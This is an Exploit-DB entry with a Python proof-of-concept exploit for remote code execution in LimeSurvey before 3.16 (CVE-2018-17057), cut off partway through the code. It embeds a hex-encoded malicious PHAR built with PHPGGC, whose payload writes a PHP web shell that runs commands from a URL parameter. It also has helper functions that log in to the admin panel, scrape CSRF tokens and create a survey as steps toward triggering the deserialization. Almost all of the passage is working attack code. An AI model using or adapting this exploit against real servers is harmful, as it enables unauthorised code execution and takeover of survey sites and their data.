Exploit-DB #46634
Description: LimeSurvey < 3.16 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-04-02
Author: q3rv0

Exploit:
#!/usr/bin/python

# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
# Date: 29/03/2019
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
# Exploit Author: @q3rv0
# Google Dork:
# Version: < 3.16
# Tested on: LimeSurvey 3.15
# PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
# CVE: CVE-2018-17057
# SecSignal is: <3
# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]

import requests
import sys
import re

SESSION = requests.Session()

# Malicious PHAR generated with PHPGGC.
# ./phpggc Yii/RCE1 system "echo 3c3f[PII_REDACTED]797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg

PHAR    = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
           "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
           "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
           "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
           "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
           "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
           "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
           "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
           "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
           "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
           "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
           "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
           "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
           "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
           "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
           "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
           "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
           "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
           "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
           "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
           "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
           "\x42\x4d\x42")

def usage():
    if len(sys.argv) != 4:
        print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
        sys.exit(0)

def get(url):
	r = SESSION.get(url, verify=False)
	return r.text

def post(url, data={}, files=None, headers=None):
	r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
	return r.text

def getYIICSRFToken(url):
	res = get(url)
	token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
	return token[0] 

def getKCSRFToken(url):
	res = get(url)
	token = re.findall(r'csrftoken = "(.*)";', res)
	return token[0]

def login(url, username, password):
	token = getYIICSRFToken(url)
	data = {"YII_CSRF_TOKEN" : token,
	        "authMethod"     : "Authdb", 
	        "user"           : username,
	        "password"       : password,
	        "loginlang"      : "default",
	        "action"         : "login",
	        "width"          : "1366",
	        "login_submit"   : "login"
	       }
	res = post(url, data)
	if len(re.findall("loginform", res)) == 0:
		return True
	else:
	    return False

def emailTemplates(url):
    return get(url)	

def createSurvey(url_newsurvey, url_insert):
	token = getYIICSRFToken(url_newsurvey)
	data = {"YII_CSRF_TOKEN" : token,
	        "surveyls_title" : "Survey Example - SecSignal",
	        "language"       : "en",
	        "createsample"   : "0",
	        "description"    : "foo",
	        "url"            : "",
	        "urldescrip"     : "",
	        "dateformat"     : "1",
	        "numberformat_en": "0",
	        "welcome"        : "bar",
	        "endtext"        : "asdf",
	        "owner_id"       : "1",
	        "admin"          : "Administrator",
	        "adminemail"     : "test%40gsecsignal.org",
	        "bounce_email"   : "test%40gsecsignal.org",
	        "faxto"          : "",
	        "gsid"           : "1",
	        "format"         : "G",
	        "template"       : "fruity",
	        "navigationdelay": "0",
	        "questionindex"  : "0",
	        "showgroupinfo"  : "B",
	        "showqnumcode"   : "X",
	        "shownoanswer"   : "Y",
	        "showxquestions" : "0",
	        "showxquestions" : "1",
	        "showwelcome"    : "0",
	        "showwelcome"    : "1",